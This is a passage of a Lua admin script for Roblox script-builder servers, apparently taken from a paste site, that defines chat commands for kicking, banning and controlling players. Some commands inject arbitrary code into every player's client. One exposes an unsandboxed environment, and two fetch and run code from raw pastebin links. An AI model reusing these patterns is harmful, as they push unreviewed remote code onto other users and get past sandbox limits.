  828. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  829. end
  830. local Commands = iiOrb.Chatted.Commands
  831. local Prefix = iiOrb.Chatted.Settings.Prefix
  832. local Suffix = iiOrb.Chatted.Settings.Suffix
  833. local sub = string.sub
  834. local lower = string.lower
  835. if sub(msg,1,3)=='/e 'then
  836. msg = sub(msg,4)
  837. end
  838. if iiOrb.Admins[plr.Name]then
  839. for index,data in pairs(Commands)do
  840. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  841. if iiOrb.Admins[plr.Name].Level >= data.Level then
  842. local y,n = ypcall(function()
  843. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  844. end)
  845. if not y then
  846. print_to(plr,"[Error]: a command related error has occured : "..n)
  847. end
  848. else
  849. print_to(plr,"[Error]: Your access level is to low for that command")
  850. end
  851. end
  852. end
  853. end
  854. end local Chatted = API.Chatted
  855.  
  856. function API.BootCommands()--// Function that calls and injects all commands
  857.  
  858. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  859. print_to(Player,"[iiOrb 2.1 [ORIGINAL]]: TEST")
  860. end)
  861.  
  862. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  863. print_to(Player,"Got Commands")
  864. print_to(Player,"---------------------------------------------------------------")
  865. for index,data in pairs(iiOrb.Chatted.Commands)do
  866. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  867. print_to(Player,"---------------------------------------------------------------")
  868. end
  869. end)
  870.  
  871. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  872. print_to(Player,"Got admins")
  873. GetAdmins(Player)
  874. end)
  875.  
  876. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  877. GetLogs(Player)
  878. end)
  879.  
  880. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  881. local Split = GetSplit(Message)
  882. local Plrs
  883. local Reason
  884. if Split == nil then
  885. Plrs = Collect_Players(Message,Player)
  886. Reason = nil
  887. else
  888. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  889. Reason = Message:sub(Split+1)
  890. end
  891. if #Plrs>0 then
  892. for _,Plr in pairs(Plrs) do
  893. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  894. Plr:Kick(Reason)
  895. end
  896. end
  897. end)
  898.  
  899. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  900. local Split = GetSplit(Message)
  901. local Plrs
  902. local Reason
  903. if Split == nil then
  904. Plrs = Collect_Players(Message,Player)
  905. Reason = nil
  906. else
  907. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  908. Reason = tostring(Message:sub(Split+1))
  909. end
  910. if #Plrs>0 then
  911. for _,Plr in pairs(Plrs) do
  912. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  913. --table.insert(iiOrb.Banned,tostring(Plr.Name)==tostring(Reason))
  914. iiOrb.Banned[Plr.Name]=tostring(Reason)
  915. Plr:Kick("You have been banned for:/n "..tostring(Reason))
  916. end
  917. end
  918. end)
  919.  
  920. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  921. for i,v in pairs(iiOrb.Banned)do
  922. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  923. iiOrb.Banned[i]=nil
  924. end
  925. end
  926. end)
  927.  
  928. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  929. print_to(Player,"Got Banned")
  930. print_to(Player,"--------------------------------")
  931. for i,v in pairs(iiOrb.Banned)do
  932. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  933. print_to(Player,"--------------------------------")
  934. end
  935. end)
  936.  
  937. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  938. local Split = GetSplit(Message)
  939. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  940. local Command = Message:sub(Split+1)
  941. if #Plrs>0 then
  942. for index,data in pairs(Plrs)do
  943. Sbexe(Command,data)--afk
  944. end
  945. end
  946. end)
  947.  
  948. AddCommand('Loader','injl','Injects iiOrb loader to a player',3,function(Message, Collect_Players, Player)
  949. local Plrs = Collect_Players(Message,Player)
  950. if #Plrs > 0 then
  951. for i,v in pairs(Plrs)do
  952. print_to(v,"[iiOrb 2.1 [ORIGINAL]]: has issued a loader to you")
  953. InjectLoader(v)
  954. end
  955. end
  956. end)
  957.  
  958. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  959. ChangeTheme(Player,Message)
  960. end)
  961.  
  962. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  963. if #Message>0 then
  964. local Plrs = Collect_Players(Message,Player)
  965. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  966. for index,data in pairs(Plrs)do
  967. Follow(true,data.Name)
  968. end
  969. else
  970. Follow(true,Player.Name)
  971. end
  972. end)
  973.  
  974. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  975. Follow(false,"")
  976. end)
  977.  
  978. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  979. for i,v in pairs(game:GetService('Players'):children())do
  980. Sbexe([[g/rj]],v)
  981. wait(.2)
  982. v:Kick('This server has shutdown')
  983. end
  984. end)
  985. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  986. local Split = GetSplit(Message)
  987. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  988. local Level = tonumber(Message:sub(Split+1))
  989. if #Plrs>0 then
  990. for index,data in pairs(Plrs)do
  991. if Level > iiOrb.Admins[data.Name].Level and iiOrb.Admins[data.Name].Level >= iiOrb.Admins[Player.Name].Level then
  992. print_to(data,"[Error]: You cant set your level higher then your own")
  993. else
  994. print("[iiOrb 2.1 [ORIGINAL]]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  995. iiOrb.Admins[data.Name].Level = tonumber(Level)
  996. end
  997. end
  998. end
  999. end)
  1000.  
  1001. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  1002. local newEnv = getfenv(1)
  1003. newEnv.script = nil
  1004. newEnv.warn = print
  1005. newEnv.print = print
  1006. newEnv.print_to = print_to
  1007. newEnv.broadcast = broadcast
  1008. rawset(_G,"Bypass",function()
  1009. return newEnv
  1010. end)
  1011. broadcast('[iiOrb 2.1 [ORIGINAL]]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  1012. end)
  1013. AddCommand('Kill player','kp','Kills a player',2,function(Message,Player)
  1014. workspace:FindFirstChild(Message).Head:Explode()
  1015. end)
  1016. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  1017. if #Message>0 then
  1018. if Message:lower() == 'true' then
  1019. if iiOrb.Blocker.LocalBlock == true and iiOrb.Blocker.LocalBlock == true then
  1020. print_to(Player,"[iiOrb 2.1 [ORIGINAL]]: Scripting is already locked")
  1021. else
  1022. iiOrb.Blocker.LocalBlock = true
  1023. iiOrb.Blocker.GlobalBlock = true
  1024. print('[iiOrb 2.1 [ORIGINAL]]: Is locking Scripting')
  1025. end
  1026. elseif Message:lower()=='false' then
  1027. if iiOrb.Blocker.LocalBlock == false and iiOrb.Blocker.LocalBlock == false then
  1028. print_to(Player,"[iiOrb 2.1 [ORIGINAL]]: Scripting is already unlocked")
  1029. else
  1030. iiOrb.Blocker.LocalBlock = false
  1031. iiOrb.Blocker.GlobalBlock = false
  1032. print('[iiOrb 2.1 [ORIGINAL]]: Is unlocking Scripting')
  1033. end
  1034. end
  1035. end
  1036. end)
  1037. AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player)
  1038. local n = tonumber(Message)
  1039. if type(n) == 'number' then
  1040. Settings.Rotation.Speed = n
  1041. end
  1042. end)
  1043. AddCommand('Set bounce','setb','Sets the bounce value of iiOrb.',3,function(Message,Player)
  1044. local bouncev = tonumber(Message)
  1045. if type(bouncev) == 'number' then
  1046. Settings.Rotation.Bounce = tonumber(Message)
  1047. end
  1048. end)
  1049.  
  1050.  
  1051. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  1052. if #Message>0 then
  1053. if Message:lower() == 'true'then
  1054. ChangeTheme(Player,'hidden')
  1055. elseif Message:lower()== 'false' then
  1056. ChangeTheme(Player,'normal')
  1057. end
  1058. end
  1059. end)
  1060.  
  1061. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  1062. GetSavedScripts(Player)
  1063. end)
  1064.  
  1065. --[[ AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  1066. --[[local Data = rbxdb:GetAllData()
  1067. if type(Data)=='table'then
  1068. for i,v in pairs(Data)do wait(.1)
  1069. print_to(Player,tostring(i)..":"..tostring(v))
  1070. end
  1071. end
  1072. end)]]--]]--
  1073.  
  1074. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  1075. GiveServerConsole(Player)
  1076. end)
  1077. AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
  1078.  
  1079.  
  1080. local children = game.Players:GetChildren()
  1081. for i = 1, #children do
  1082. Sbexe("remove/iiOrbEXE",children[i].Name)
  1083. wait()
  1084. Sbexe("create/iiOrbEXE",children[i].Name)
  1085. wait()
  1086. Sbexe("edit/iiOrbEXE",children[i].Name)
  1087. wait()
  1088. Sbexe(Message,children[i].Name)
  1089. wait()
  1090. Sbexe("exit/",children[i].Name)
  1091. Sbexe("run/iiOrbEXE",children[i].Name)
  1092. Sbexe('remove/iiOrbEXE',children[i].Name)
  1093. end
  1094. end)
  1095.  
  1096. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  1097. GetGarbage(Player)
  1098. end)
  1099.  
  1100.  
  1101. AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player)
  1102. print_to(Player,"Got Running scripts")
  1103. for index, child in pairs(workspace:GetChildren()) do
  1104. --print(index, child.Name)
  1105. wait(.1)
  1106. print_to(Player,child.Name)
  1107. end
  1108. end)
  1109.  
  1110. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  1111. if #Message > 0 then
  1112. SafeExe(Message,Player)
  1113. end
  1114. end)
  1115. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1116. iiOrb.__STATUS = not iiOrb.__STATUS
  1117. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1118. SpawnOrb()
  1119. end
  1120. end)
  1121. AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player)
  1122. if game.Players:FindFirstChild(Message) then
  1123. Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message)
  1124. --Created by GuyWithACleverName
  1125. else
  1126. end end)
  1127. AddCommand('ChatServ','cs','Activates ChatServ [gwc]',3,function(Message)
  1128. for i,v in pairs(game.Players:GetPlayers()) do
  1129. Sbexe([[hl/http://pastebin.com/raw.php?i=uG7KqYWW]],v)
  1130. end
  1131. end)
  1132.  
  1133.  
  1134. print("[iiOrb 2.1 [ORIGINAL]]: Has finished booting commands")
  1135. end local BootCommands = API.BootCommands
  1136.  
  1137. function API.Connect(plr)
  1138. if type(plr)~='userdata'then return end
  1139.  
  1140. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18"}
  1141. if plr.AccountAge/365 < .5 then
  1142. for i,v in pairs(Allowed_YoungPlrs)do
  1143. if not plr.Name == v then
  1144. plr:Kick("[iiOrb 2.1 [ORIGINAL]]: Sorry your AccountAge is to young to join this game")
  1145. end
  1146. end
  1147. end
  1148.  
  1149. if iiOrb.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(iiOrb.Banned[plr.Name]) end
  1150.  
  1151. if not iiOrb.Admins[plr.Name]then
  1152. print_to(plr,"[iiOrb 2.1 [ORIGINAL]]: Has identifyed you as a ["..iiOrb.Levels[1].."]")
  1153. print("[iiOrb 2.1 [ORIGINAL]]: connect "..plr.Name.." as a ["..iiOrb.Levels[1].."]")
  1154. iiOrb.Admins[plr.Name] = {Level=1}
  1155. elseif iiOrb.Admins[plr.Name]then
  1156. print_to(plr,"[iiOrb 2.1 [ORIGINAL]]: Has identified you as a ["..iiOrb.Levels[iiOrb.Admins[plr.Name].Level].."]")
  1157. end
  1158. ConnectLogger(plr)
  1159. plr.Chatted:connect(function(msg)
  1160. Chatted(plr,msg)
  1161. end)
  1162. end local Connect = API.Connect
  1163. API.userIDParse = function(id)
  1164. local result=game.Players:GetNameFromUserIdAsync(id)
  1165. return result
  1166. end
  1167. local userIDParse = API.userIDParse
  1168. --//One last thing, UserID Parse.
  1169. AddCommand('UserID Parse','uidp','Parses an ID and returns it back as a user.',3,function(Message,Player)
  1170. local res = userIDParse(Message)
  1171. broadcast(res)
  1172. end)
  1173. --// Bootstrapper functions
  1174.  
  1175. function Bootstrap:Boot()
  1176. local DeploymentID = Generate(math.random(1,50)*2/3)
  1177. --// Bootup
  1178. broadcast("[iiOrb 2.1 [ORIGINAL]]: Has started booting up")
  1179. SpawnOrb()
  1180. Rotate()
  1181. BootCommands()
  1182. for i,v in pairs(game:GetService('Players'):children())do
  1183. Connect(v)
  1184. end
  1185.  
  1186. game:GetService('Players').PlayerAdded:connect(function(plr)
  1187. wait(.5)
  1188. Connect(plr)
  1189. end)
  1190.  
  1191. game.Workspace.DescendantAdded:connect(function(obj)
  1192. if obj.ClassName == "Script" then
  1193. if iiOrb.Blocker.GlobalBlock == true then
  1194. obj.Disabled = true
  1195. obj:Destroy()
  1196. end
  1197. elseif obj.ClassName == "LocalScript" then
  1198. if iiOrb.Blocker.LocalBlock == true then
  1199. obj.Disabled = true
  1200. obj:Destroy()
  1201. end
  1202. end
  1203. end)
  1204. --game.DescendantAdded:connect(function(instance)
  1205. --if iiOrb.Blocker.LagBlocker== true then
  1206. --if iiOrb.LagBlockedInstances[instance.ClassName]then
  1207. --instance:Destroy()
  1208. --end
  1209. --end
  1210. --end)
  1211.  
  1212.  
  1213.  
  1214. print("[iiOrb 2.1 [ORIGINAL]]: Has booted successfully")
  1215. broadcast("[iiOrb 2.1 [ORIGINAL]]: Has deployed with ID: "..DeploymentID.."")
  1216. -- rbxdb:SetValue("[iiOrb DEPLOYMENT]",DeploymentID)
  1217. end
  1218.  
  1219. if script.ClassName == 'Script'then
  1220. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1221. local y,n = pcall(function()
  1222. iiOrb.API.Bootstrap:Boot()
  1223. end)if not y then print('{ERROR}: '..n)end
  1224. end
  1225. elseif script.ClassName == 'ModuleScript'then
  1226. return iiOrb.Api.Bootstrap:Boot()
  1227. end
  1228. ChangeTheme('iiOrb','normal')
  1229. broadcast'Welcome to iiOrb 2.1 [ORIGINAL]. \n Credits go to Aesthenical for the idea and Opligitory for the functions and code. \n And I reall forget to credit people sometimes XD --Control22' -- dont use [[ ]] it filters \ -error18
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement